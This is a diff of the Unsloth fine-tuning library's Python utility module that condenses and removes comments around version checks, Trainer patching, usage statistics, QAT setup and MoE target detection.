-2218,7 +2033,6 @@ elif DEVICE_TYPE == "hip":elif DEVICE_TYPE == "xpu":SUPPORTS_BFLOAT16 = True-# Silence xformers CUDA mismatch warnings before import.try:_xformers_logger = logging.getLogger("xformers")_xformers_logger.setLevel(logging.ERROR)@@ -2228,12 +2042,7 @@ except:try:from xformers import __version__ as xformers_version- # Xformers <= 0.0.32.post2 dispatches FA3 wrongly on Blackwell/RTX 50x: `capability >= (9, 0)`- # matches SM 10.0/11.0/12.0 and runs sm_90a kernels on non-Hopper GPUs (CUDA error in- # flash_fwd_launch_template.h:188). Fixed in 0.0.33 with `<= (9, 0)`; see- # facebookresearch/xformers#1329. is_available() as well as DEVICE_TYPE: a CUDA-built torch- # on a driverless host keeps DEVICE_TYPE at "cuda" and get_device_capability() would raise- # out of _lazy_init().+ # Xformers <= 0.0.32.post2 dispatches FA3 wrongly on Blackwell/RTX 50x: `capability >= (9, 0)` matches SM 10.0/11.0/12.0 and runs sm_90a kernels on non-Hopper GPUs (CUDA error in flash_fwd_launch_template.h:188). Fixed in 0.0.33 with `<= (9, 0)`; see facebookresearch/xformers#1329. is_available() as well as DEVICE_TYPE: a CUDA-built torch on a driverless host keeps DEVICE_TYPE at "cuda" and get_device_capability() would raise out of _lazy_init().if DEVICE_TYPE == "cuda" and torch.cuda.is_available():major_version, minor_version = torch.cuda.get_device_capability()if (f"{major_version}.{minor_version}" in ("10.0", "11.0", "12.0")) and (@@ -2248,7 +2057,6 @@ try:"```\n")- # Temporarily disable 0.0.27 and higher: inference issues.if False:raise ImportError("Unsloth: If you are in Colab, we updated the top cell install instructions - please change it to below "@@ -2312,7 +2120,6 @@ except Exception as e:from trl import __version__ as trl_version-# Unsloth now supports all TRL versions.if False:raise ImportError("Unsloth: If you are in Colab, we updated the top cell install instructions - please change it to below "@@ -2327,10 +2134,7 @@ if False:"Please downgrade TRL via `pip install --force-reinstall trl")-# Fix new Xformers versions "TypeError: Multiple dispatch failed for 'torch._ops.aten.to.dtype_layout'".-# Transformers 4.46 breaks dynamic caching; this is a hack.-# =============================================import transformers.generation.configuration_utilsif hasattr(transformers.generation.configuration_utils, "ALL_CACHE_IMPLEMENTATIONS"):@@ -2338,12 +2142,9 @@ if hasattr(transformers.generation.configuration_utils, "ALL_CACHE_IMPLEMENTATIOif "dynamic" not in transformers.generation.configuration_utils.ALL_CACHE_IMPLEMENTATIONS:transformers.generation.configuration_utils.ALL_CACHE_IMPLEMENTATIONS.append("dynamic")-# Torch compile settings.-# =============================================UNSLOTH_COMPILE_DEBUG = os.environ.get("UNSLOTH_COMPILE_DEBUG", "0") == "1"UNSLOTH_COMPILE_MAXIMUM = os.environ.get("UNSLOTH_COMPILE_MAXIMUM", "0") == "1"UNSLOTH_COMPILE_IGNORE_ERRORS = os.environ.get("UNSLOTH_COMPILE_IGNORE_ERRORS", "1") == "1"-# Just remove the max_autotune_gemm warning.from torch._inductor.runtime.hints import DeviceProperties@@ -2401,7 +2202,6 @@ def patch_regional_compilation():# Regional torch 2.5 recompilation is weirdly very slow, and only works on torch 2.5.if torch.nn.ModuleList.__name__ == "UnslothModuleList":return- # Only works for torch 2.5if Version(torch.__version__) < Version("2.5.0"):return@@ -2431,7 +2231,6 @@ def patch_regional_compilation():return-# =============================================def prepare_model_for_kbit_training(model: Any,use_gradient_checkpointing: Optional = True,@@ -2450,15 +2249,11 @@ def prepare_model_for_kbit_training(# LoraLayer.update_layer downcasts PEFT layers to float16; mixed precision needs float32.-# =============================================from peft import __version__ as peft_versionfrom peft.utils.integrations import dequantize_module_weightif Version(peft_version) < Version("0.12.0"):- # Fix up incorrect downcasting of LoRA weightsfrom peft.tuners.lora.layer import LoraLayer-- # Prefer filesystem markers (harder to misidentify) before env-key matchingtry:source = inspect.getsource(LoraLayer.update_layer)text = "if weight is not None:\n"@@ -2485,7 +2280,6 @@ if Version(peft_version) < Version("0.12.0"):"Luckily, your training run will still work in the meantime!")-# =============================================import importlibglobal USE_MODELSCOPE@@ -2528,16 +2322,13 @@ import psutildef _get_statistics(statistics = None, force_download = True):- # Basic stats on which environment is in use: a README.md is downloaded from HF, all data- # public, so broken envs can be detected. Disable with UNSLOTH_DISABLE_STATISTICS.+ # Basic stats on which environment is in use: a README.md is downloaded from HF, all data public, so broken envs can be detected. Disable with UNSLOTH_DISABLE_STATISTICS.n_cpus = psutil.cpu_count(logical = False)keynames = "\n" + "\n".join(os.environ.keys())global USE_MODELSCOPEUSE_MODELSCOPE = os.environ.get("UNSLOTH_USE_MODELSCOPE", "0") == "1"- # Fallback to env-key detectionif statistics is None:- # Prefer filesystem markers (harder to misidentify) before env-key matching.try:from pathlib import Pathif Path("/kaggle/working").exists():@@ -2629,8 +2420,7 @@ def _get_statistics(statistics = None, force_download = True):def get_statistics(local_files_only = False):- # Basic stats on which environment is in use, and whether HuggingFace is down: a README.md is- # downloaded from HF, all data public. Disable with UNSLOTH_DISABLE_STATISTICS.+ # Basic stats on which environment is in use, and whether HuggingFace is down: a README.md is downloaded from HF, all data public. Disable with UNSLOTH_DISABLE_STATISTICS.import osif (@@ -2640,7 +2430,6 @@ def get_statistics(local_files_only = False):returnif local_files_only:return- # Also skip when HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE are set._offline_vals = {"1", "true", "yes", "on"}if (os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline_vals@@ -2687,21 +2476,15 @@ def get_statistics(local_files_only = False):enable_progress_bars()-# =============================================from transformers.utils.quantization_config import (BitsAndBytesConfig,QuantizationMethod,)-# Importing this module twice must not raise. This block rewrites BitsAndBytesConfig.__init__-# via exec(), so it has no file on disk: on a SECOND import inspect.getsource() is handed our-# own function and dies with "OSError: could not get source code", taking every later-# `from unsloth...` with it. The patch is idempotent, so recognising our own work and standing-# down is the fix; the marker lives on the function, since a re-import gets fresh globals.+# Importing this module twice must not raise. This block rewrites BitsAndBytesConfig.__init__ via exec(), so it has no file on disk: on a SECOND import inspect.getsource() is handed our own function and dies with "OSError: could not get source code", taking every later `from unsloth...` with it. The patch is idempotent, so recognising our own work and standing down is the fix; the marker lives on the function, since a re-import gets fresh globals._bnb_init = BitsAndBytesConfig.__init__if getattr(_bnb_init, "__unsloth_patched__", False):- # Already installed by an earlier import of this module. Keep it._BitsAndBytesConfig__init__ = _bnb_initelse:try:@@ -2740,8 +2523,7 @@ if DEVICE_COUNT == 1 and int(os.environ.get("WORLD_SIZE", "1")) <= 1:import accelerate.stateaccelerate.state.PartialState._prepare_backend = _prepare_backend- # Must be a property: a bare function binds as a method, inverting every- # `!= DistributedType.NO` guard in accelerate (#10016).+ # Must be a property: a bare function binds as a method, inverting every `!= DistributedType.NO` guard in accelerate (#10016).accelerate.accelerator.Accelerator.distributed_type = property(lambda self: DistributedType.NO)@@ -2750,7 +2532,6 @@ def move_to_device(target_device, *tensors):if isinstance(target_device, int):target_device = torch.device(target_device)elif isinstance(target_device, str):- # If a string, expect a device name like "cuda:0".target_device = torch.device(target_device)elif isinstance(target_device, torch.device):pass@@ -2769,8 +2550,6 @@ import transformers.utils.quantization_configtransformers.utils.quantization_config.BitsAndBytesConfig.__init__ = _BitsAndBytesConfig__init__-# Offloading to disk for modules (lm_head, embed_tokens).-# =============================================import pickle@@ -2792,7 +2571,6 @@ def offload_to_disk(pickle_module = pickle,pickle_protocol = pickle.HIGHEST_PROTOCOL,)- # weights_only = False is required due to pickling.offloaded_W = torch.load(filename, map_location = "cpu", mmap = True, weights_only = False)offloaded_W._offloaded_file_location = filenamereturn offloaded_W@@ -2824,27 +2602,19 @@ def offload_output_embeddings(model, temporary_location: str = "_unsloth_temporareturn-# Fixes a weird Torch 2.3 bug which says T4s have bfloat16.def is_bfloat16_supported():return SUPPORTS_BFLOAT16def _requested_float32(dtype):- """Did the caller ask for float32, or did we arrive at it?-- Reads `dtype` as given: it is also derived from a 4bit config's- `bnb_4bit_compute_dtype`, which describes one matmul and not the model.- """+ """Did the caller ask for float32, or did we arrive at it? Reads `dtype` as given: it is also derived from a 4bit config's `bnb_4bit_compute_dtype`, which describes one matmul and not the model."""if isinstance(dtype, str):dtype = getattr(torch, dtype, None)return dtype is torch.float32def _mark_requested_float32(model, requested):- """Record on the model, not in the environment: with two models loaded before- a trainer is built, an env var describes whichever loaded last. Outermost- caller wins, since only it saw dtype before normalization.- """+ """Record on the model, not in the environment: with two models loaded before a trainer is built, an env var describes whichever loaded last. Outermost caller wins, since only it saw dtype before normalization."""try:model._unsloth_user_float32 = bool(requested)except Exception:@@ -2853,10 +2623,7 @@ def _mark_requested_float32(model, requested):def _mark_forced_float32(model, forced):- """Record whether this model's family forced float32. UNSLOTH_FORCE_FLOAT32- says the same, but every load rewrites it, so a second load before this model- trains would answer for the wrong model.- """+ """Record whether this model's family forced float32. UNSLOTH_FORCE_FLOAT32 says the same, but every load rewrites it, so a second load before this model trains would answer for the wrong model."""try:model._unsloth_forced_float32 = bool(forced)except Exception:@@ -2865,10 +2632,7 @@ def _mark_forced_float32(model, forced):def _mark_full_finetuning(model, full_finetuning):- """Record how this model was loaded. UNSLOTH_ENABLE_FULL_FINETUNING is process- wide and every load rewrites it, so a LoRA model loaded before this one trains- would answer "no" here and cost it the bfloat16 full finetuning may keep.- """+ """Record how this model was loaded. UNSLOTH_ENABLE_FULL_FINETUNING is process wide and every load rewrites it, so a LoRA model loaded before this one trains would answer "no" here and cost it the bfloat16 full finetuning may keep."""try:model._unsloth_full_finetuning = bool(full_finetuning)except Exception:@@ -2880,7 +2644,6 @@ def is_vLLM_available():return _package_available("vllm")-# Patches models to add RoPE Scaling.def patch_linear_scaling(model_name = "gemma2",rope_module = None,@@ -2903,7 +2666,6 @@ def patch_linear_scaling(try:function = inspect.getsource(attention_module.__init__)except:- # Most likely already patched.return None, Nonewhere = function.find("def")function = function.split("\n")@@ -2953,7 +2715,6 @@ def patch_linear_scaling(return init_name, function-# Patches for Llama-3 LlamaExtendedRotaryEmbedding.def patch_llama_rope_scaling(model_name = "llama",rope_module = None,@@ -2982,7 +2743,6 @@ def patch_llama_rope_scaling(try:function = inspect.getsource(attention_module.__init__)except:- # Most likely already patched.return None, Nonewhere = function.find("def")function = function.split("\n")@@ -3132,8 +2892,7 @@ def _unsloth_pre_compute_loss(self, model, inputs, *args, **kwargs):"Using gradient accumulation will be very slightly less accurate.\n""Read more on gradient accumulation issues here: https://unsloth.ai/blog/gradient")- # Gemma3 multimodal models on transformers 5.x require token_type_ids during training; for- # text-only SFT they are all zeros.+ # Gemma3 multimodal models on transformers 5.x require token_type_ids during training; for text-only SFT they are all zeros.if "token_type_ids" not in inputs and "input_ids" in inputs:_inner = modelfor _attr in ("base_model", "model", "model"):@@ -3180,8 +2939,7 @@ def patch_gradient_accumulation_fix(Trainer):Trainer.get_batch_samples = _unsloth_get_batch_samplesif not hasattr(Trainer, "_old_compute_loss"):- # Fix transformers 4.57.0 raising "Output 0 of UnslothFusedLossBackward is a view and is being- # modified inplace".+ # Fix transformers 4.57.0 raising "Output 0 of UnslothFusedLossBackward is a view and is being modified inplace".function = inspect.getsource(Trainer.compute_loss)if "loss *=" in function or "loss*=" in function:where = function.find("def")@@ -3202,9 +2960,7 @@ def patch_gradient_accumulation_fix(Trainer):globals(),)- # Replace loss *= with loss = loss *.- # Fix when num_items_in_batch is nothing- # https://github.com/huggingface/transformers/pull/35207+ # Replace loss *= with loss = loss *, and fix when num_items_in_batch is nothing (huggingface/transformers#35207).function = re.sub(r"loss[\s]{0,}\*\=","loss = loss *",@@ -3243,16 +2999,14 @@ def patch_gradient_accumulation_fix(Trainer):globals(),)- # Accelerate divides by args.gradient_accumulation_steps internally, so a sum already divided- # here has to be negated.+ # Accelerate divides by args.gradient_accumulation_steps internally, so a sum already divided here has to be negated.function = function.replace("loss *= self.args.gradient_accumulation_steps","if num_items_in_batch is not None: loss *= self.args.gradient_accumulation_steps",)function = function.replace("def training_step", "def _unsloth_training_step", 1)- # Fix 4.47.0 removing num_items_in_batch (huggingface/transformers#35121) and the case where it- # is nothing (huggingface/transformers#35207).+ # Fix 4.47.0 removing num_items_in_batch (huggingface/transformers#35121) and the case where it is nothing (huggingface/transformers#35207).function = function.replace("if self.model_accepts_loss_kwargs:","if False:",@@ -3273,17 +3027,13 @@ def patch_gradient_accumulation_fix(Trainer):exec(function, globals())Trainer.training_step = _unsloth_training_step- # Settle any deferred compile-mode switch at the start of every step: on recompile-limit- # exhaustion unsloth_zoo defers the switch to eager rather than flipping mid-call, since- # non-reentrant checkpointing packs the forward compiled and would recompute it eagerly,- # aborting the backward. Between steps nothing is half-packed.+ # Settle any deferred compile-mode switch at the start of every step: on recompile-limit exhaustion unsloth_zoo defers the switch to eager rather than flipping mid-call, since non-reentrant checkpointing packs the forward compiled and would recompute it eagerly, aborting the backward. Between steps nothing is half-packed.if not getattr(Trainer, "_unsloth_settles_eager_fallbacks", False):try:from unsloth_zoo.temporary_patches.utils import (apply_pending_eager_fallbacks as _apply_pending_eager_fallbacks,)except Exception:- # Older unsloth_zoo has no deferred switch, so nothing to settle._apply_pending_eager_fallbacks = Noneif _apply_pending_eager_fallbacks is not None:_training_step_before_settle = Trainer.training_step@@ -3299,9 +3049,7 @@ def patch_gradient_accumulation_fix(Trainer):Trainer.training_step = _unsloth_training_step_settling_fallbacksTrainer._unsloth_settles_eager_fallbacks = True- # Wrap Trainer.__init__: pre-init, shadow accepts_loss_kwargs on the model passed in (covers- # PEFT wrapping after from_pretrained); post-init, clamp accelerator GA to 1 for the- # transformers 5.0-5.5 GradientAccumulationPlugin regression. No-op on 4.x and 5.6+ (#4982).+ # Wrap Trainer.__init__: pre-init, shadow accepts_loss_kwargs on the model passed in (covers PEFT wrapping after from_pretrained); post-init, clamp accelerator GA to 1 for the transformers 5.0-5.5 GradientAccumulationPlugin regression. No-op on 4.x and 5.6+ (#4982).if not getattr(Trainer, "_unsloth_init_wrapped_for_accelerate_gas", False):_original_trainer_init = Trainer.__init__@@ -3337,7 +3085,6 @@ def patch_gradient_accumulation_fix(Trainer):def _unsloth_compile_cache_leaves():- # Accepts UNSLOTH_COMPILE_LOCATION overrides, the env var unsloth_zoo honors.leaves = {"unsloth_compiled_cache", "unsloth_cache", "unsloth_compiled"}loc = os.environ.get("UNSLOTH_COMPILE_LOCATION", "") or ""loc = loc.rstrip("/\\")@@ -3347,8 +3094,7 @@ def _unsloth_compile_cache_leaves():def _forward_is_unsloth_compiled(model):- # True iff forward was installed from the Unsloth compile cache directory. __module__ stays the- # transformers module, so check co_filename.+ # True iff forward was installed from the Unsloth compile cache directory. __module__ stays the transformers module, so check co_filename.leaves = _unsloth_compile_cache_leaves()def check(m):@@ -3383,8 +3129,7 @@ def _forward_is_unsloth_compiled(model):def _find_concrete_accepts_loss_kwargs(model):- # Walk the wrapper chain for the first class declaring accepts_loss_kwargs in its own __mro__- # dict, avoiding PEFT __getattr__ forwarding and our own shadow.+ # Walk the wrapper chain for the first class declaring accepts_loss_kwargs in its own __mro__ dict, avoiding PEFT __getattr__ forwarding and our own shadow.seen = set()m = modelfor _ in range(6):@@ -3406,8 +3151,7 @@ def _find_concrete_accepts_loss_kwargs(model):def _shadow_accepts_loss_kwargs(model, value):- # Set the attribute at every wrapper level so HF's hasattr check resolves wherever accelerator- # or peft unwrap lands.+ # Set the attribute at every wrapper level so HF's hasattr check resolves wherever accelerator or peft unwrap lands.seen = set()m = modelfor _ in range(8):@@ -3427,9 +3171,7 @@ def _shadow_accepts_loss_kwargs(model, value):def apply_accepts_loss_kwargs_fix(model):- # Shadow accepts_loss_kwargs on the model so HF Trainer sees it via hasattr(unwrapped_model).- # Priority: compiled forward -> True, else the first class attr in the chain, else the HF- # default (#4982).+ # Shadow accepts_loss_kwargs on the model so HF Trainer sees it via hasattr(unwrapped_model). Priority: compiled forward -> True, else the first class attr in the chain, else the HF default (#4982).if _forward_is_unsloth_compiled(model):_shadow_accepts_loss_kwargs(model, True)return "True (Unsloth compiled forward)"@@ -3487,9 +3229,7 @@ def unsloth_compile_transformers(return_logits = False,unsloth_force_compile = False,):- # Again here, not only at import: a dotenv or config loader can set UNSLOTH_FORCE_CUSTOM_DTYPE- # after this package was imported, and the compiler reaches the older zoo reader that evals the- # dtype field. Idempotent.+ # Again here, not only at import: a dotenv or config loader can set UNSLOTH_FORCE_CUSTOM_DTYPE after this package was imported, and the compiler reaches the older zoo reader that evals the dtype field. Idempotent.from ._custom_dtype import neutralize_inherited_custom_dtypeneutralize_inherited_custom_dtype()@@ -3514,8 +3254,7 @@ def unsloth_compile_transformers(supports_sdpa = [True]- # Run patches BEFORE the compiler so class replacements (GptOssTopKRouter, GptOssExperts) are- # in place before it caches references to them.+ # Run patches BEFORE the compiler so class replacements (GptOssTopKRouter, GptOssExperts) are in place before it caches references to them._run_temporary_patches("pre_compile")for model_type in model_types:@@ -3547,12 +3286,10 @@ def unsloth_compile_transformers(return_logits = return_logits,supports_sdpa = supports_sdpa,)- # Redo patches which override the compiler._run_temporary_patches("post_compile")return model_types, supports_sdpa[0]-# An empty logits flag warns that logits are no longer returned unless os.environ['UNSLOTH_RETURN_LOGITS'] = '1'.LOGITS_ERROR_STRING = ("Unsloth: Logits are empty from 2024.11 onwards. To get raw logits again, please "'set the environment variable `UNSLOTH_RETURN_LOGITS` to `"1" BEFORE starting to train ie before `trainer.train()`. For example:\n'@@ -3588,12 +3325,10 @@ class EmptyLogits:return LOGITS_ERROR_STRINGdef __reduce__(self):- # Stateless pickling so gather_object works on the sentinel, and gathered copies compare equal- # in accelerate debug mode.+ # Stateless pickling so gather_object works on the sentinel, and gathered copies compare equal in accelerate debug mode.return (type(self), ())def __eq__(self, other):- # Gathered copies must compare equal in accelerate debug modereturn type(other).__name__ == "EmptyLogits"__hash__ = object.__hash__@@ -3608,8 +3343,7 @@ for j, function in enumerate(functions):exec(f"EMPTY_LOGITS.{function} = raise_{j}", globals(), locals())except:continue-# The loop above stomps pickle hooks with stubs returning None, breaking gather_object on-# EMPTY_LOGITS in distributed runs; restore default pickling.+# The loop above stomps pickle hooks with stubs returning None, breaking gather_object on EMPTY_LOGITS in distributed runs; restore default pickling.for function in ("__reduce__", "__reduce_ex__", "__getstate__", "__setstate__"):try:delattr(EMPTY_LOGITS, function)@@ -3687,7 +3421,6 @@ def fast_inference_setup(model_name, model_config):patch_vllm()if model_name.endswith("unsloth-bnb-4bit"):if not vllm_dynamic_quant_supported(model_name, model_config):- # Instead use the -bnb-4bit variant.logger.warning_once(f"Unsloth: Switching from Unsloth dynamic quant to normal quant since\n"f"we do not yet support fast inference for {model_name}"@@ -3697,19 +3430,7 @@ def fast_inference_setup(model_name, model_config):def save_lora_adapter(model, save_directory, *args, **kwargs):- """`save_pretrained` over the adapter, cast to the embedding dtype.-- PEFT's own selection decides what an adapter contains, so it is handed the- whole state dict and only the adapter tensors are cast. Filtering down to- `.lora_A.`/`.lora_B.` first is what the Zoo helper does, and PEFT then looks- up `modules_to_save.<adapter>.weight` in what it was given and raises- `KeyError`; a DoRA run loses its `lora_magnitude_vector` the same way. Both- are reachable here without vLLM: `get_peft_model` adds `embed_tokens` and- `lm_head` to `modules_to_save` on its own once new tokens are trained.-- The non-adapter entries are passed through by reference, so nothing is- copied that PEFT is going to drop anyway.- """+ """`save_pretrained` over the adapter, cast to the embedding dtype. PEFT's own selection decides what an adapter contains, so it is handed the whole state dict and only the adapter tensors are cast: filtering down to `.lora_A.`/`.lora_B.` first, as the Zoo helper does, makes PEFT raise `KeyError` looking up `modules_to_save.<adapter>.weight`, and a DoRA run loses its `lora_magnitude_vector` the same way. Both are reachable without vLLM, since `get_peft_model` adds `embed_tokens` and `lm_head` to `modules_to_save` once new tokens are trained. Non-adapter entries pass through by reference."""dtype = model.get_input_embeddings().weight.dtypekwargs["state_dict"] = {key: (value.to(dtype) if "lora_" in key else value)@@ -3725,14 +3446,12 @@ def patch_peft_fast_inference(model):model.fast_generate = model.model.fast_generatemodel.fast_generate_batches = model.model.fast_generate_batches- # load_lora copies into vLLM's own adapter tensors, so it needs an engine; with one, the Zoo- # helper stays, since vLLM reads the adapter back through its own loader.+ # load_lora copies into vLLM's own adapter tensors, so it needs an engine; with one, the Zoo helper stays, since vLLM reads the adapter back through its own loader.from unsloth_zoo.vllm_utils import load_loramodel.load_lora = functools.partial(load_lora, model)- # An engine keeps the Zoo helper it has always had: vLLM reads the saved adapter back through its own LoRA- # loader, so what that file may carry is its call, not one to change here.+ # An engine keeps the Zoo helper it has always had: vLLM reads the saved adapter back through its own LoRA loader, so what that file may carry is its call.if not hasattr(model, "save_lora"):try:from unsloth_zoo.vllm_utils import save_lora@@ -3741,9 +3460,7 @@ def patch_peft_fast_inference(model):if save_lora is not None:model.save_lora = functools.partial(save_lora, model)- # Without an engine there was no save_lora at all, and it needs none (it is save_pretrained- # over the adapter): gating it on the engine gave fast_inference = False GRPO runs an- # AttributeError. Set only when absent.+ # Without an engine there was no save_lora at all, and it needs none (it is save_pretrained over the adapter): gating it on the engine gave fast_inference = False GRPO runs an AttributeError. Set only when absent.if not hasattr(model, "save_lora"):model.save_lora = functools.partial(save_lora_adapter, model)@@ -3770,7 +3487,6 @@ except:class TorchAOConfig:qat_scheme: Optional[str] = "int4"- # Each (config, filter_fn) pair defines a quantization rule.base_config_and_filter_fns: List[Tuple["AOBaseConfig", Optional[Callable[[torch.nn.Module, str], bool]]]] = field(@@ -3786,11 +3502,7 @@ class TorchAOConfig:def _untie_input_output_embeddings(model: torch.nn.Module) -> None:- """- Utility to untie input/output embeddings in a HuggingFace model.- This is useful if we want to quantize the input/output embeddings differently.- Model is modified in-place.- """+ """Untie input/output embeddings in a HuggingFace model, in-place, so they can be quantized differently."""if hasattr(model.config, "tie_word_embeddings"):model.config.tie_word_embeddings = False@@ -3804,8 +3516,7 @@ def _untie_input_output_embeddings(model: torch.nn.Module) -> None:out_proj.weight.shape == in_emb.weight.shape), f"Shape mismatch: out_proj {out_proj.weight.shape} vs in_emb {in_emb.weight.shape}"- # Clone only if actually tied (shared storage), then prevent automatic re-tying and verify no- # shared storage remains.+ # Clone only if actually tied (shared storage), then prevent automatic re-tying and verify no shared storage remains.if out_proj.weight.data_ptr() == in_emb.weight.data_ptr():with torch.no_grad():W = in_emb.weight.detach().clone()@@ -3822,10 +3533,7 @@ def _untie_input_output_embeddings(model: torch.nn.Module) -> None:def _filter_fn_to_fqns(model: torch.nn.Module, filter_fn: Callable[[torch.nn.Module, str], bool]) -> Iterator[str]:- """- Given a model and a filter function (m, fqn) -> bool,- yield fully qualified names (FQNs) of modules that match.- """+ """Yield fully qualified names of modules matching a filter function (m, fqn) -> bool."""for fqn, module in model.named_modules():if filter_fn(module, fqn):yield fqn@@ -3841,7 +3549,6 @@ def _convert_torchao_model(model):for base_config, filter_fn in model._torchao_config.base_config_and_filter_fns:quantize_(model, QATConfig(base_config, step = "convert"), filter_fn = filter_fn)- # Default filter function used for quantize_.if filter_fn is None:if "_default" in module_to_fqn_dict:raise ValueError("Cannot use multiple default quantization configs")@@ -3869,16 +3576,7 @@ def _convert_torchao_model(model):def _prepare_model_for_qat(model: torch.nn.Module, qat_scheme: Union[str, TorchAOConfig]) -> torch.nn.Module:- """- Transform a model for Quantization-Aware Training (QAT) during fine-tuning.-- On a high level, this means fake quantizing the base (frozen) model during training.- Fake quantization refers to simulating quantization numerics in high precision (e.g. bf16).- This helps mitigate quantization degradations when the model is quantized after training.-- QAT can be optionally combined with LoRA fine-tuning to for additional throughput improvement.- For more details: https://dev-discuss.pytorch.org/t/speeding-up-qat-by-1-89x-with-lora/2700- """+ """Transform a model for Quantization-Aware Training: fake quantize the base (frozen) model during training, simulating quantization numerics in high precision (e.g. bf16) to mitigate post-training quantization degradation. Can be combined with LoRA; see https://dev-discuss.pytorch.org/t/speeding-up-qat-by-1-89x-with-lora/2700"""try:from torchao.quantization import PerRow, quantize_from torchao.quantization.granularity import PerGroup, PerAxis@@ -3886,8 +3584,7 @@ def _prepare_model_for_qat(except ImportError:raise ImportError(TORCHAO_MSG)- # Gemma3 int8 embedding quantization struggles with its 262144-token vocabulary, so auto-switch- # to int4 weight-only.+ # Gemma3 int8 embedding quantization struggles with its 262144-token vocabulary, so auto-switch to int4 weight-only.if qat_scheme == "int8-int4":model_types = get_transformers_model_type(model.config)is_gemma3 = any("gemma3" in mt or "gemma_3" in mt for mt in model_types)@@ -3981,8 +3678,7 @@ def _prepare_model_for_qat(except ImportError:raise ImportError(TORCHAO_MSG)- # IntxWeightOnlyConfig already defaults to MappingType.SYMMETRIC, so MappingType is deliberately- # not imported. Matches the upstream Cactus int8 / per-group-32 / symmetric configuration.+ # IntxWeightOnlyConfig already defaults to MappingType.SYMMETRIC, so MappingType is deliberately not imported. Matches the upstream Cactus int8 / per-group-32 / symmetric configuration.group_size = 32base_config = IntxWeightOnlyConfig(weight_dtype = torch.int8,@@ -3993,8 +3689,7 @@ def _prepare_model_for_qat(and m.in_features >= group_sizeand m.in_features % group_size == 0)- # torchao's PerGroup(32) quantizer rejects in_features not divisible by group_size, so the- # filter excludes those Linears; warn, or the gap is silent and they stay full precision.+ # torchao's PerGroup(32) quantizer rejects in_features not divisible by group_size, so the filter excludes those Linears; warn, or the gap is silent and they stay full precision.skipped_cactus_layers = [namefor name, module in model.named_modules()@@ -4038,7 +3733,6 @@ def _prepare_model_for_qat(def patch_hf_quantizer():- # Tell the HF trainer that the quantized model is trainable.def make_trainable(self):return True@@ -4080,8 +3774,7 @@ def verify_fp8_support_if_applicable(model_config):if DEVICE_TYPE == "cuda":major_version, minor_version = torch.cuda.get_device_capability()if quant_method == "fbgemm_fp8" and major_version < 9:- # L4 has FP8 as a data type but no fbgemm support yet, except block quantized, where torchao- # kernels are the fallback.+ # L4 has FP8 as a data type but no fbgemm support yet, except block quantized, where torchao kernels are the fallback.raise ValueError(f"Unsloth: FBGEMM FP8 quantization is only supported on H100 and higher GPUs. L4 is not supported. You are using {torch.cuda.get_device_name()}. Refer to https://developer.nvidia.com/cuda-gpus for more details.")@@ -4092,17 +3785,7 @@ def verify_fp8_support_if_applicable(model_config):def _get_inference_mode_context_manager(model: torch.nn.Module):- """- If the state dict was quantized using torchao, we will run into- the following error when calling ops like aten.t() in inference mode.- This is a bug in PyTorch that affects all tensor subclasses.-- Cannot set version_counter for inference tensor-- For now, we work around this issue by using `torch.no_grad()` in this case.- See https://github.com/pytorch/pytorch/issues/164872 for more details.- Otherwise, just return `torch.inference_mode()`.- """+ """A torchao-quantized state dict hits "Cannot set version_counter for inference tensor" on ops like aten.t() under inference mode, a PyTorch bug affecting all tensor subclasses (pytorch/pytorch#164872), so use `torch.no_grad()` in that case and `torch.inference_mode()` otherwise."""torchao_config = getattr(model, "torchao_config", None)if torchao_config is not None and torchao_config.qat_scheme is None:return torch.no_grad()@@ -4128,21 +3811,11 @@ def hf_login(token: Optional[str] = None) -> Optional[str]:return token-# =============================================def is_moe_model(model) -> bool:- """- Detect if a model is a Mixture of Experts (MoE) model.-- Args:- model: The model to check (can be HF model or config)-- Returns:- True if the model is an MoE model, False otherwise- """+ """Detect whether a model (or config) is a Mixture of Experts model."""config = getattr(model, "config", model)- # MoE configs name the count differently: num_experts (Qwen3-MoE), n_routed_experts /- # num_local_experts (GLM4-MoE), num_local_experts (Mixtral).+ # MoE configs name the count differently: num_experts (Qwen3-MoE), n_routed_experts / num_local_experts (GLM4-MoE), num_local_experts (Mixtral).num_experts = Nonefor attr in ("num_experts", "n_routed_experts", "num_local_experts"):num_experts = getattr(config, attr, None)@@ -4159,13 +3832,7 @@ def is_moe_model(model) -> bool:def _resolve_moe_parameter_name(model, default_name: str, alternate_name: str) -> str:- """- Resolve the actual parameter path for MoE expert weights.-- Most current Unsloth MoE models expose expert weights under- ``mlp.experts.*``. Gemma4 stores them directly under ``experts.*``.- Prefer the path that exists on the loaded module when possible.- """+ """Resolve the actual parameter path for MoE expert weights. Most Unsloth MoE models expose them under ``mlp.experts.*``; Gemma4 stores them directly under ``experts.*``. Prefers the path that exists on the loaded module."""if hasattr(model, "named_parameters"):try:for name, _ in model.named_parameters():@@ -4199,23 +3866,19 @@ def _moe_target_set_from_string(target_modules: str) -> set[str]:return {target_modules}is_regex = re.search(r"[*+?()[\]{}|\\^$]", target_modules) is not None- # Key detection on the mlp/ffn/experts path segment, absent from an attention-only regex, never- # on q/k/v/o leaves alone.+ # Key detection on the mlp/ffn/experts path segment, absent from an attention-only regex, never on q/k/v/o leaves alone.targets_mlp_path = any(tag in target_modules for tag in ("mlp", "ffn", "feed_forward", "experts"))if not is_regex or not targets_mlp_path:return set()- # Explicit expert leaves scope the target set to exactly those leaves.named = {name for name in _MOE_BROAD_MLP_TARGETS if name in target_modules}if named:return named# A generic projection under an mlp path (".*mlp.*proj"): any proj occurrence that is not an attention leaf name.if re.search(r"(?<![qkvo]_)(?<!out_)(?<!in_)proj", target_modules):return set(_MOE_BROAD_MLP_TARGETS)- # The auto regex on fused-expert models lists only attention Linears, so its mlp tag block is- # the remaining MLP-intent signal; "(mlp|self_attn).(q_proj|o_proj)" has neither and stays- # attention-only.+ # The auto regex on fused-expert models lists only attention Linears, so its mlp tag block is the remaining MLP-intent signal; "(mlp|self_attn).(q_proj|o_proj)" has neither and stays attention-only.if "mlp|feed_forward|ffn|dense" in target_modules:return set(_MOE_BROAD_MLP_TARGETS)@@ -4223,26 +3886,7 @@ def _moe_target_set_from_string(target_modules: str) -> set[str]:def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str]]:- """- Get the target_parameters for MoE expert layers if applicable.-- For MoE models, returns the parameter paths for expert weights- (gate_up_proj, down_proj) that should be targeted by PEFT's- target_parameters for LoRA on nn.Parameter. The exact parameter path- depends on the model layout, for example ``mlp.experts.*`` 